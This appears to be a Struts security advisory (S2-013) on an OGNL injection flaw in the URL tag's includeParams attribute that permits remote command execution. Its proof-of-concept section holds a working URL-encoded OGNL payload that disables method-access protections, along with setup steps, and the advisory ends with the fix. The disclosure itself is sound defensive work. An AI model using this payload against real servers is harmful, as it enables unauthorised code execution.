S2-013

Summary

URL Tag include params attribute vulnerability allows remote command execution

Problem

OGNL provides, among other features, extensive expression evaluation capabilities.
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an URL Tag , which will cause a further evaluation.

The second evaluation happens when URL Tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

Proof of concept

1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url tag the following parameter:

    includeParams="all"
   

   Such that the line will be something look like this:

   <s:url id="url" action="HelloWorld" includeParams="all">
   

   (I'm pretty sure it works with includeParams="get" as well).
2. Run struts2-blank app
3. Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
   (this is the shortenerize version http://goo.gl/lhlTl)

The issue, in order to work, need a redirect result defined as the following:

<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

Solution

The OGNLUtil class was changed to deny eval expressions by default.